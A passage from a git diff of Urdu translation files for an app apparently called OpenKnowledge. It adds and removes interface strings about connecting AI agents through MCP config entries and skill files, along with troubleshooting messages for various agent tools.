[["chars", "plural", { "one": ["حرف"], "other": ["حروف"] }]],"d6qW27": [["agentName"], " نے اطلاع دی: ", ["headline"]],+ "dCforW": ["یہ فائل لکھنے میں ناکامی ہوئی۔ وجہ جاننے کے لیے OpenKnowledge لاگ دیکھیں۔"],"dD7NPy": ["خاکہ"],"dDpCOp": ["نام بدل گیا مگر سائیڈ بار پرانا ہو سکتا ہے — دوبارہ مطابقت کے لیے تازہ کریں"],"dEgA5A": ["منسوخ کریں"],@@ -3241,6 +3299,7 @@["currentBaseLabel"],"</1> سے بنے گی، <2>.ok/worktrees/</2> کے تحت اپنے الگ ورک ٹری میں۔"],+ "dGcsnU": ["دونوں کے لیے ہٹائیں"],"dIYSqk": ["ریموٹ"],"dJw2_7": ["آپ کی ٹیم کے لیے پروجیکٹ کے ساتھ محفوظ۔"],"dMsx3p": ["ہوم پیج اور نیویگیشن کا مرکز۔"],@@ -3255,6 +3314,9 @@"dVaXnv": ["مواد کے قواعد ابھی لوڈ نہیں ہوئے — تھوڑی دیر بعد دوبارہ کوشش کریں"],"dXCi3J": ["کچھ ٹوٹ گیا"],"dXOolp": ["آپ کی تبدیلیاں مطابق کی جا رہی ہیں"],+ "da7Yfw": [+ "یہ ذیل میں درج MCP سرور اندراجات اور اسکل فائلیں حذف کر دیتا ہے۔ دوبارہ شامل کرنے تک ایجنٹ آپ کی دستاویزات تک رسائی کھو دے گا۔"+ ],"darW93": [["pageCount",@@ -3344,6 +3406,7 @@],"eh3QBq": ["Excalidraw بورڈ لوڈ نہیں ہو سکا۔"],"eiUA4k": [["count", "plural", { "one": ["#", " تبصرہ"], "other": ["#", " تبصرے"] }]],+ "ejiJeW": ["OpenKnowledge دریافت اسکل"],"ekSPiP": [["0"], " پہلے ہی حذف ہو چکا تھا۔"],"el2KyL": ["اس پروجیکٹ میں Slidev مل گیا۔ ڈیک پروجیکٹ کا ورژن استعمال کریں گے۔"],"emMrXQ": ["سرور نے بگڑا ہوا ڈپلیکیٹ جواب لوٹایا۔"],@@ -3359,6 +3422,7 @@"euc6Ns": ["نقل بنائیں"],"evs0iw": ["«", ["tagListQuery"], "» سے مماثل ٹیگز"],"ewSbS_": ["Shell سیشن"],+ "ewlFNL": [["failures"], " کے لیے MCP خودکار مرمت ناکام رہی"],"ezUmoU": ["اجازت شدہ عنصری اقدار (خالی = کوئی بھی)"],"f-k37b": ["یہ مہارت نصب کریں"],"f1-q9m": ["مہارتیں اپنے پاس رکھتا ہے"],@@ -3411,6 +3475,23 @@"fj5YiP": ["GitHub سے تازہ نقل ڈاؤن لوڈ کرتا ہے۔"],"fnlBN4": ["خودکار منظوری کی ترتیبات ابھی لوڈ نہیں ہوئیں — تھوڑی دیر بعد دوبارہ کوشش کریں"],"fo6CCk": ["پین ", ["0"]],+ "followup.approve-once": [+ "ایک اور مرحلہ: اس پروجیکٹ میں ",+ ["agent"],+ " چلائیں اور ایک بار OpenKnowledge کو منظور کریں۔"+ ],+ "followup.enable-manually": [+ "ایک اور مرحلہ: اسے ",+ ["agent"],+ " ← ترتیبات ← ٹولز اور MCP میں فعال کریں (",+ ["agent"],+ " پروجیکٹ کے سرورز اس وقت تک بند رکھتا ہے جب تک آپ انہیں فعال نہ کریں)۔"+ ],+ "followup.trust-gated": [+ "اگلی بار جب آپ یہ پروجیکٹ کسی قابلِ اعتماد ",+ ["agent"],+ " سیشن میں کھولیں گے تو یہ خودکار طور پر منسلک ہو جائے گا۔"+ ],"fqSfXY": ["تبدیل کریں"],"ft-BOm": ["بگ رپورٹ کریں…"],"fuJZKk": ["برانچیں تلاش کریں"],@@ -3418,6 +3499,15 @@"fwhX-N": ["سورس کی اندروں یا باہر کی جگہ بدلیں"],"fwrPh4": ["براہِ کرم درست ای میل درج کریں۔"],"fxbCNQ": ["مطابق ہو گیا۔ لنک تازہ ترین ہے۔"],+ "fybwfg": [+ "یہ سیٹ اپ <0>",+ ["path"],+ "</0> کے ذریعے ",+ ["peers"],+ " کے ساتھ مشترک ہے۔ اسے یہاں ہٹانے سے یہ ",+ ["peers"],+ " کے لیے بھی ہٹ جاتا ہے۔"+ ],"g-dkjJ": ["مقامی فائل کی تفصیلات ابھی دستیاب نہیں ہیں۔"],"g12y1g": ["YAML درست نہیں"],"g1ZTh_": [@@ -3434,7 +3524,6 @@}]],- "g4WlQK": ["پروجیکٹ کے AI ٹولز کا انتظام صرف OpenKnowledge ڈیسک ٹاپ ایپ میں دستیاب ہے۔"],"g4XBm0": ["چھوٹا سیکشن عنوان۔"],"g4e0hS": [["agentName"], " سے پوچھیں"],"g58Kwy": [@@ -3497,6 +3586,7 @@"gfb-CM": ["برانچ نہیں لائی جا سکی — GitHub میں سائن اِن کریں اور دوبارہ کوشش کریں۔"],"gfdqcY": ["تبدیلی لاگو نہیں ہو سکی: ", ["0"]],"gfohmY": ["ٹولز منسلک کریں"],+ "ggMMa7": ["پروجیکٹ MCP سرور"],"ggm6JX": ["یہ صفحہ ابھی موجود نہیں۔ ایڈیٹر میں صفحہ بنانے اور گراف سکیڑنے کے لیے اسے کھولیں۔"],"ggs9f8": ["فائلیں، فولڈرز یا کمانڈز تلاش کریں"],"gh27t1": ["لنک کے پیش منظر"],@@ -3513,6 +3603,38 @@"gpbKxw": ["لنک کی توثیق دستیاب نہیں ہے۔"],"gqk-3R": [["0"], " کو ", ["destination"], " میں منتقل کر دیا گیا۔"],"gtEbeW": ["نمایاں کریں"],+ "guidance.mcp.managed-file": [+ "ایک چھوٹی برج فائل لکھتا ہے جسے ",+ ["agent"],+ " اس پروجیکٹ سے لوڈ کر کے OpenKnowledge تک پہنچتا ہے۔"+ ],+ "guidance.mcp.project-config": [+ "اس پروجیکٹ میں ",+ ["agent"],+ " جو MCP کنفیگ پڑھتا ہے اس میں OpenKnowledge شامل کرتا ہے، تاکہ وہ یہ دستاویزات پڑھ، تلاش اور ترمیم کر سکے۔"+ ],+ "guidance.mcp.session-injection": [+ "جب بھی OpenKnowledge ",+ ["agent"],+ " کو چلاتا ہے، اسے OpenKnowledge کے ٹولز ملتے ہیں؛ اس کی کنفیگ میں کچھ نہیں لکھا جاتا۔"+ ],+ "guidance.mcp.user-config": [+ ["agent"],+ " کی اپنی MCP کنفیگ میں OpenKnowledge شامل کرتا ہے، تاکہ اس مشین کے ہر پروجیکٹ تک رسائی ہو۔"+ ],+ "guidance.skill.central-store": [+ ["agent"],+ " جو مرکزی اسکل اسٹور پڑھتا ہے اس میں OpenKnowledge اسکل رکھتا ہے۔"+ ],+ "guidance.skill.project": [+ "اس پروجیکٹ کے لیے ",+ ["agent"],+ " کے اسکل فولڈر میں OpenKnowledge اسکل رکھتا ہے، تاکہ اس کی ترامیم کا انتساب برقرار رہے۔"+ ],+ "guidance.skill.user": [+ ["agent"],+ " کے مشین بھر کے اسکل فولڈر میں OpenKnowledge دریافت اسکل رکھتا ہے، تاکہ وہ کسی بھی پروجیکٹ میں OpenKnowledge تلاش کر سکے۔"+ ],"gv5w9J": ["owner/repo، کوئی git URL، یا مقامی راستہ"],"gvApb7": ["جو کچھ آپ پڑھتے ہیں اسے واضح، قابلِ اعتماد مضامین میں بدلیں۔ کوئی ماخذ محفوظ کریں، اس کا مطلب سمجھیں، پھر حتمی ورژن رکھیں تاکہ بعد میں اس پر بھروسہ کر سکیں۔"@@ -3527,6 +3649,14 @@"h06R3C": ["کسی صفحے میں جانے والے گراف لنکس کی کمی نہیں۔"],"h16FyT": ["فہرستیں"],"h2N-1n": [["0"], " میں نصب"],+ "h2QPvj": [+ ["dependent"],+ " کو ",+ ["prerequisite"],+ " درکار ہے، اور OpenKnowledge اس اندراج کو نہیں پہچانتا۔ اسے تبدیل کرنے کے لیے ",+ ["prerequisite"],+ " منتخب کریں، پھر دوبارہ محفوظ کریں۔"+ ],"h3QZcB": [["shareBranch"]," نام کی برانچ پہلے سے موجود ہے۔ اس کے بجائے سوئچر سے اس کا ورک ٹری کھولیں۔"@@ -3638,7 +3768,6 @@"iH8pgl": ["واپس"],"iHAJDj": ["طے شدہ مقام معلوم کیا جا رہا ہے"],"iIaSUD": ["خالی جگہ"],- "iKS6gg": ["مہارتیں مہارت اسٹوڈیو میں منتقل ہو گئیں۔"],"iKSP5j": ["الفاظ کی لپیٹ"],"iKZkk1": ["خصوصیت کی قدر"],"iKvAeG": ["جانچا جا رہا ہے"],@@ -3685,6 +3814,7 @@"ij-Elv": ["تصویر کا پیش منظر"],"ijLc3m": ["بلٹ فہرست"],"ilodsp": ["ایجنٹس کو بغیر پوچھے OpenKnowledge استعمال کرنے دیں"],+ "inJhKB": ["بدلیں اور محفوظ کریں"],"ioMn4Z": ["ٹیمپلیٹ سے نیا…"],"iodl3p": ["سرور نے بگڑا ہوا اپ لوڈ جواب لوٹایا۔"],"ipCibE": ["خالی فولڈر نام کی اجازت نہیں ہے (//)"],@@ -3700,6 +3830,7 @@"irnKr_": [["updatedRelative"], " اپ ڈیٹ ہوا"],"irrm_E": ["انتخاب ہٹائیں"],"isRobC": ["نیا"],+ "itchkf": ["ایجنٹ کو اس مشین کے ہر پروجیکٹ میں OpenKnowledge سے جوڑتا ہے۔"],"iuTKci": ["ابھی کوئی ترمیم نہیں۔"],"iv452l": [["0"], " کی دستاویزات (براؤزر میں کھلتی ہیں)"],"iycx_A": ["پُش کیا جا رہا ہے"],@@ -3887,6 +4018,7 @@"kfL8BJ": ["درآمد ناکام: ", ["0"]],"kj9pAE": ["صفحہ بنایا جا رہا ہے"],"kjlQ9D": ["سِم لنک بن جاتا ہے"],+ "kjrq_8": ["مزید معلومات"],"kknhfj": ["کوئی تبدیلی نہیں"],"kkux8f": [["0"], " حذف نہیں کیا جا سکا۔ دوبارہ کوشش کریں۔"],"klPS-L": ["اصل فائل — اس ایجنٹ کی ترامیم سے پہلے۔"],@@ -3944,6 +4076,7 @@"l87Deg": ["منتخب کریں کہ نیا ٹیب کیا شروع کرے"],"l9s3IX": [["agentName"], " گفتگو شروع نہ کر سکا۔"],"lAiyU_": ["صرف موجودہ دستاویز <0>#", ["tag"], "</0> استعمال کرتی ہے۔"],+ "lBN3T6": ["ایجنٹ کنکشنز"],"lCC_D5": ["رکنیت لی جا رہی ہے..."],"lGs_bQ": ["صفحہ <0>*</0>"],"lHCR4I": ["طے شدہ OpenAI اینڈ پوائنٹ پر واپس جانے کے لیے فیلڈ صاف کریں۔"],@@ -4032,9 +4165,6 @@"mHo0kp": ["Open Knowledge ٹولز فعال کرنے کی درخواست کا وقت ختم ہو گیا۔ یہ تھریڈ ان کے بغیر چلے گا۔"],- "mLAjyL": [- "اپنے استعمال کے AI ٹولز کو اپنے پروجیکٹس پڑھنے اور تازہ کرنے کی رسائی دیں۔ خانہ نشان زد کرنا اسے فوراً ترتیب دے دیتا ہے؛ نشان ہٹانا اسے ہٹا دیتا ہے۔"- ],"mPoOmg": ["پہلے یہاں ایک اسکل انسٹال کریں"],"mPy9lS": ["میری موجودہ اسپیکس کو شعبے کے لحاظ سے گروپ شدہ ایک مربوط اشاریے میں منظم کریں، اور ان میں سے کسی کو نشان زد کریں جو موجودہ کوڈ سے ہم آہنگ نہ رہی ہو۔"@@ -4054,6 +4184,7 @@"ابھی کوئی پیٹرن نہیں۔ فائلیں چھپانا شروع کرنے کے لیے نیچے فولڈر یا فائل کا نام لکھیں۔"],"mdKFEy": ["آپ نے «", ["docName"], "» کا لوڈ ہونا منسوخ کر دیا۔"],+ "mdWhUY": ["OpenKnowledge کو اس مشین پر یہ ایجنٹ نہیں ملا۔"],"mdzKSV": [["nodeCount", "plural", { "one": ["#", " نوڈ"], "other": ["#", " نوڈز"] }]],"mf37rL": ["دوبارہ کوشش کی جا رہی ہے"],"mg0YGL": ["سورس میں کثیر کرسر اور کثیر انتخاب"],@@ -4112,6 +4243,7 @@"mwMF9u": ["سورس ایڈیٹر موڈ میں CodeMirror کی تلاش کھولیں۔"],"mxGJVE": ["ورک ٹری بدلیں…"],"mxY24F": ["جب فوکس فائلوں کے سائیڈ بار میں ہو تو فوکس شدہ فائل ٹری آئٹم کی نقل بنائیں۔"],+ "n11Jj7": ["اس ایجنٹ کے لیے OpenKnowledge پروجیکٹ اسکل انسٹال کرتا ہے۔"],"n2XqGH": ["ایڈیٹر پین"],"n2lRue": ["تبدیل کرنے کے لیے تبدیلیاں کمٹ کریں یا اسٹیش کریں:"],"n3T3EE": [["label"], " میں نصب — ہٹانے کے لیے کلک کریں"],@@ -4127,9 +4259,6 @@],"n7aopT": ["ایڈیٹر موڈ"],"n81AV0": [["owner"], "/", ["name"], " پہلے سے موجود ہے۔ کوئی اور نام منتخب کریں۔"],- "n8DwqQ": [- "اگلی بار جب آپ یہ پروجیکٹ کسی قابلِ اعتماد Codex سیشن میں کھولیں گے تو یہ خودکار طور پر منسلک ہو جائے گا۔"- ],"nBHvPL": ["ترمیم منسوخ کریں"],"nBgzKO": ["اسے ماخذ بنائیں — مہارت کا اصل فولڈر یہاں منتقل ہو جائے گا"],"nCzR-G": ["کوڈ ", ["userCode"], " نقل کریں"],@@ -4193,6 +4322,9 @@"nsM-_m": ["سینکڑوں تھیمز دیکھیں"],"nsUDL8": [["1"], " میں سے ", ["0"], " پروجیکٹ منتخب"],"nskygk": ["ایجنٹ منتخب کریں"],+ "nta97o": [+ "ایجنٹ کو آپ کی دستاویزات کے ساتھ کام کرنے کی ہدایات دیتا ہے اور اس کی ترامیم کا انتساب برقرار رکھتا ہے۔"+ ],"nwtY4N": ["کچھ غلط ہو گیا"],"nxlOpL": ["OpenKnowledge یہی GitHub اکاؤنٹ استعمال کر رہا ہے۔"],"ny6vNn": [@@ -4256,6 +4388,9 @@"» کا مقامی اشتراکی ڈیٹا صاف نہیں ہو سکا۔ دوبارہ کوشش کے لیے صفحہ لوڈ کریں۔"],"oxdGJn": ["جانے سے پہلے، وجہ بتانا پسند کریں گے؟"],+ "oxj8er": [+ "ایجنٹ کو اس پروجیکٹ سے جوڑتا ہے تاکہ وہ آپ کی دستاویزات پڑھ، تلاش اور ترمیم کر سکے۔"+ ],"oy5bJW": ["آپ شامل کر سکتے ہیں"],"oyBV3W": ["حسبِ ضرورت مہارت فولڈر کا راستہ"],"p0Iq25": ["لنک داخل کریں"],@@ -4328,7 +4463,6 @@["1"]," کو مستقل طور پر ہٹا دیتا ہے۔ SKILL.md میں جو کچھ بھی اس کی طرف اشارہ کرتا ہے، دوبارہ بنائے جانے تک کام نہیں کرے گا۔"],- "psfGPX": ["MCP کنکشنز"],"psl2Sj": ["آپ کی تبدیلی ابھی محفوظ ہو رہی ہے — تھوڑی دیر بعد ٹیسٹ دوبارہ چلائیں۔"],"ptQ3_N": ["لنک ختم کریں"],"pvnfJD": ["تاریک"],@@ -4342,6 +4476,7 @@"q4YJl_": ["ٹرمینل کا سیشن ختم ہو گیا (خروج کوڈ ", ["0"], ")۔"],"q4efaG": [["filePath"], " اب اس اسکل میں نہیں ہے"],"q6-JVU": ["صفحات لوڈ ہو رہے ہیں"],+ "q63KUv": ["MCP اور اسکل شامل کریں"],"q7F5am": ["عنوان"],"q8aCbb": ["«", ["0"], "» کے دو ورژن — ماخذ بمقابلہ ", ["editor"]],"qAQVSD": ["صفحے کے عنوانات کا جواب JSON نہیں تھا"],@@ -4404,10 +4539,12 @@"qlAIQ1": ["ریموٹ"],"qo4zCg": ["راستے میں الٹی سلیش نہیں ہو سکتی"],"qpQwGC": ["بیان کریں کہ آپ کس چیز پر کام کر رہے ہیں اور ایجنٹ اسے آپ کے لیے ترتیب دے دے گا۔"],+ "qr2gAH": ["منتخب کریں کہ OpenKnowledge ", ["0"], " کے لیے کیا سیٹ اپ کرے۔"],"qribBG": ["اسکیما ", ["deleteTarget"]],"qtnmEX": ["درست تھیم نام درج کریں۔"],"qvWGzP": ["سب سکیڑیں"],"qyLmWw": ["سورس ایڈیٹر کا تلاش پینل"],+ "qze9od": ["یہ فولڈر ", ["alsoAffects"], " کا بھی ہے۔"],"r-OJYm": ["برانچ کا درست نام درج کریں (کوئی خالی جگہ نہیں، شروع میں نقطہ نہیں، «..» نہیں)۔"],"r2eKE3": ["پہلے ", ["agentName"], " میں سائن اِن کریں"],"r4R7AZ": ["صفائی کے دوران نیٹ ورک کی خرابی"],@@ -4492,6 +4629,9 @@"s1c0ja": ["بلٹ فہرست"],"s3caR3": ["حذف کیا جا رہا ہے"],"s7us1p": ["صرف PNG، JPEG یا WebP تصاویر کی اجازت ہے۔"],+ "s8difl": [+ "اسکل کے بغیر ایجنٹ پھر بھی کام کرتا ہے، لیکن وہ ترامیم کا انتساب اور براہِ راست پیش منظر کھو دیتا ہے۔"+ ],"sAP9XO": [["0"], " پلگ ان · ", ["1"]],"sE7R19": ["ٹیمپلیٹس لوڈ نہیں ہو سکے: ",@@ -4585,6 +4725,9 @@"tA0b9E": ["طے شدہ مہارت فولڈر (محفوظ ہونے کے بعد صحیح راستہ ظاہر ہوتا ہے)"],"tA2-xC": ["«", ["0"], "» پہلے ہی شامل تھا (یکساں مواد)۔"],"tAPZEx": ["نیچے"],+ "tCE-ZH": [+ "OpenKnowledge اس اندراج کو نہیں پہچانتا، اور اس فائل کی فارمیٹ میں اسے محفوظ طریقے سے تبدیل نہیں کر سکتا۔"+ ],"tCyvAw": ["فائل منسلک کریں"],"tHKQ6j": ["نام بدلا جا رہا ہے"],"tKlWWY": ["ایموجی"],@@ -4621,6 +4764,51 @@"tnG-m6": ["خودکار مطابقت پذیری روکی گئی ہے — جاری رکھنے کے لیے سائن اِن کریں۔"],"toyw51": ["Mermaid خاکے کے کنٹرولز"],"tqQBwN": ["کوئی بھی اسکرپٹ جائزے کے لیے دکھائی جاتی ہے، کبھی چلائی نہیں جاتی۔"],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " ہر OpenKnowledge ٹول کے پہلے استعمال پر آپ سے منظوری مانگتا ہے۔"+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "اگر ",+ ["agent"],+ " میں OpenKnowledge ٹولز نظر نہ آئیں تو اسے اس پروجیکٹ میں چلائیں اور OpenKnowledge سرور کو ایک بار منظور کریں۔"+ ],+ "troubleshooting.codex.desktop-project-config": [+ ["agent"],+ " ڈیسک ٹاپ ایپ اس پروجیکٹ کنفیگ کو نظر انداز کرتی ہے؛ اسے صرف ",+ ["agent"],+ " CLI پڑھتا ہے۔"+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " وہی ورک اسپیس MCP کنفیگ پڑھتا ہے جو OpenKnowledge ",+ ["sourceAgent"],+ " کے لیے لکھتا ہے؛ ایک کے لیے ہٹانے پر یہ دونوں کے لیے ہٹ جاتی ہے۔"+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "اگر ",+ ["agent"],+ " میں OpenKnowledge ٹولز نظر نہ آئیں تو Settings → Tools & MCP میں سرور آن کریں؛ جب تک آپ ایسا نہ کریں، ",+ ["agent"],+ " پروجیکٹ سرورز بند رکھتا ہے۔"+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "اگر ",+ ["agent"],+ " میں OpenKnowledge ٹولز نظر نہ آئیں تو جانچیں کہ اس کی ترتیبات میں MCP کنفیگ کا راستہ اس فائل سے میل کھاتا ہے جو OpenKnowledge نے لکھی ہے۔"+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ " کا مرکزی اسکل اسٹور ابھی موجود نہیں؛ ",+ ["agent"],+ " کو ایک بار چلائیں تاکہ وہ اسے بنا لے، پھر دوبارہ کوشش کریں۔"+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " پروجیکٹ ایکسٹینشنز صرف انہی فولڈرز میں لوڈ کرتا ہے جن پر آپ نے اعتماد کیا ہو؛ اگر ٹولز نظر نہ آئیں تو ",+ ["agent"],+ " میں اس فولڈر پر اعتماد کریں۔"+ ],"tsiTqO": ["اپنی API کلید چسپاں کریں"],"tvMvze": ["\\\"",@@ -4677,6 +4865,7 @@"uUCrBv": ["سِم لنک"],"uV3EYs": ["آپ کی تصاویر"],"uVbUP8": ["ترتیبات…"],+ "uVhq9B": ["اس ایجنٹ کے لیے OpenKnowledge دریافت اسکل انسٹال کرتا ہے۔"],"uX85yl": ["سیٹ اپ کی فائلوں میں شامل ہیں: <0>.ok/</0>، AI ٹولز کی MCP کنفیگز (<1>.mcp.json</1> اور ہر ٹول کی فائلیں)۔ آپ کی مہارتیں اس میں شامل نہیں ہیں: وہ پروجیکٹ کی دیگر فائلوں کی طرح git کے تابع ہیں۔<2/><3>مشترک</3> انہیں git میں کمٹ کرتا ہے، تاکہ جو بھی ریپو کلون کرے اسے وہی سیٹ اپ ملے۔ <4/><5>صرف میں</5> انہیں git سے باہر رکھتا ہے (<6>.git/info/exclude</6> کے ذریعے)۔"],@@ -4807,6 +4996,7 @@"vy_VIN": ["git میں ٹریک شدہ — اپ ڈیٹس آپ کے ریپو کے ذریعے آتی ہیں (کھینچ کر یا CI سے)، خودکار اپ ڈیٹ سے نہیں"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", " تبدیلی"], "other": ["#", " تبدیلیاں"] }]],"w0YVAE": ["مہارت نوڈز دکھائیں"],"w3tVpc": ["ابھی کوئی لنک نہیں۔ گراف بنانے کے لیے وکی لنکس یا Markdown لنکس شامل کریں۔"],"w3vFfL": ["فائلیں چھپائیں"],@@ -4842,6 +5032,7 @@"wQp1V3": ["<0>", ["src"], "</0> کا مرر"],"wQvvZY": ["مہارت کی نئی فائل"],"wRni1Z": ["Slidev بند کریں"],+ "wSBXaS": [["rowLabel"], " کا انتظام کریں"],"wT4iQr": ["بصری ایڈیٹر کی تلاش تبدیلی کے کنٹرولز کھلے ہوئے کھولیں۔"],"wTcjov": ["کوئی ورک اسپیس نہیں"],"wU8WyK": ["عنصر کے فیلڈز"],@@ -4867,7 +5058,9 @@"wdxz7K": ["ماخذ"],"wdzBgi": ["کنفیگ کا اشتراک اب صرف آپ تک محدود ہے۔"],"weP6me": ["دستاویزات لوڈ نہیں ہو سکیں — دوبارہ کوشش کے لیے @ دوبارہ لکھیں"],+ "wfZwqe": [["rowLabel"], " نصب کریں"],"wgNoIs": ["سب منتخب کریں"],+ "wgj--j": ["اس ایجنٹ کے لیے ایک عالمی OpenKnowledge MCP اندراج شامل کرتا ہے۔"],"wk_v1X": ["اس ورک ٹری کی مطابقت پذیری «خودکار (کھینچیں اور پُش)» پر سیٹ ہے، جو ",["project"],@@ -5005,7 +5198,6 @@"yZmvQ4": ["اس پروجیکٹ کا سرور (v", ["0"], ") اس ایپ (v", ["1"], ") سے نیا ہے۔"],"y_5CE8": ["آئٹم ", ["0"]],"y_K0Dz": ["کیا ہوا؟"],- "yaPGPa": ["کسی پروجیکٹ کے AI ٹول کنکشنز سنبھالنے کے لیے اسے کھولیں۔"],"ybPMz3": [["name"], " کو پن نہیں کیا جا سکا"],"ycIX5i": ["آپ سائن آؤٹ ہیں — مطابقت پذیری جاری رکھنے کے لیے سائن اِن کریں۔"],"yckias": ["فائل کا نام بدلیں"],@@ -5027,9 +5219,6 @@["source"],"</0> پر ہے — یہاں چلنے والے ایجنٹ اسے لوڈ نہیں کر سکتے۔ ترمیم کے لیے اسے یہاں کاپی کریں۔"],- "yhdqox": [- "نصب شدہ — ok بیرونی ٹرمینلز میں دستیاب ہے۔ نشان ہٹانے سے یہ ہٹ جاتا ہے؛ OpenKnowledge کا بلٹ اِن ٹرمینل اور AI ٹولز کام کرتے رہتے ہیں۔"- ],"yhy5h-": ["تمام ", ["count"], " مہارتیں دیکھیں"],"yit5dF": ["اس پروجیکٹ میں ابھی کوئی فولڈر نہیں ہے۔"],"yjExfe": ["برانچ <0>", ["shareBranch"], "</0> یہاں چیک آؤٹ ہے:"],@@ -5042,7 +5231,6 @@"yvG-l1": ["سورس لِنٹ پینل کھولیں"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["ٹھیک کرنا روکیں۔ جو فائلیں پہلے ہی ٹھیک ہو چکی ہیں وہ ٹھیک ہی رہیں گی۔"],- "ywVfOE": ["اس پروجیکٹ کی مہارت مہارت اسٹوڈیو میں منتقل ہو گئی۔"],"yxF19Y": [["0", "plural", { "one": ["#", " پلگ اِن"], "other": ["#", " پلگ اِنز"] }]],"yz7wBu": ["بند کریں"],"yzF66j": ["لنک"],diff --git a/packages/app/src/locales/ur/messages.po b/packages/app/src/locales/ur/messages.poindex 43665b4ba..1163724ef 100644--- a/packages/app/src/locales/ur/messages.po+++ b/packages/app/src/locales/ur/messages.po@@ -330,6 +330,12 @@ msgstr "{0} کی بدولت {1} بغیر پوچھے عمل کرتا ہے"msgid "{0} needs {1}"msgstr "{0} کو {1} درکار ہے"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} کو {1} درکار ہے۔ دونوں کو بند کریں، یا دونوں کو آن رکھیں۔"+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0} سال پہلے"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (تصادم)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} ہر OpenKnowledge ٹول کے پہلے استعمال پر آپ سے منظوری مانگتا ہے۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "جب بھی OpenKnowledge {agent} کو چلاتا ہے، اسے OpenKnowledge کے ٹولز ملتے ہیں؛ اس کی کنفیگ میں کچھ نہیں لکھا جاتا۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} پروجیکٹ ایکسٹینشنز صرف انہی فولڈرز میں لوڈ کرتا ہے جن پر آپ نے اعتماد کیا ہو؛ اگر ٹولز نظر نہ آئیں تو {agent} میں اس فولڈر پر اعتماد کریں۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} وہی ورک اسپیس MCP کنفیگ پڑھتا ہے جو OpenKnowledge {sourceAgent} کے لیے لکھتا ہے؛ ایک کے لیے ہٹانے پر یہ دونوں کے لیے ہٹ جاتی ہے۔"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent} کا مرکزی اسکل اسٹور ابھی موجود نہیں؛ {agent} کو ایک بار چلائیں تاکہ وہ اسے بنا لے، پھر دوبارہ کوشش کریں۔"+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} گفتگو شروع نہ کر سکا۔"@@ -520,6 +551,10 @@ msgstr "{boldName} <0>{0}</0> پلگ اِن{pluginVersion} کا حصہ ہے —msgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} اس پروجیکٹ سے باہر، <0>{source}</0> پر ہے — یہاں چلنے والے ایجنٹ اسے لوڈ نہیں کر سکتے۔ ترمیم کے لیے اسے یہاں کاپی کریں۔"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# تبدیلی} other {# تبدیلیاں}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {حرف} other {حروف}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {# دن پہلے} other {# دن پہلے}}"msgid "{days}d ago"msgstr "{days} دن پہلے"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} کو {prerequisite} درکار ہے، اور OpenKnowledge اس فائل کے فارمیٹ میں اس اندراج کو محفوظ طریقے سے تبدیل نہیں کر سکتا۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} کو {prerequisite} درکار ہے، اور OpenKnowledge کو اس مشین پر یہ ایجنٹ نہیں ملا۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} کو {prerequisite} درکار ہے، اور OpenKnowledge اس اندراج کو نہیں پہچانتا۔ اسے تبدیل کرنے کے لیے {prerequisite} منتخب کریں، پھر دوبارہ محفوظ کریں۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} کو {prerequisite} درکار ہے، اور اس مشین پر اس ایجنٹ کی اس قسم کی کوئی فائل ابھی موجود نہیں۔ ایجنٹ کو ایک بار کھولیں، پھر دوبارہ کوشش کریں۔"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} کو {prerequisite} درکار ہے، جسے OpenKnowledge آپ کے لیے سیٹ اپ نہیں کر سکتا۔ اس کی سیٹ اپ گائیڈ میں دستی مراحل موجود ہیں۔"+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — رینڈر کی خرابی، سورس نیچے قابلِ ترمیم ہے"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) نصب نہیں ہے یا آپ کے PATH میں ن#: 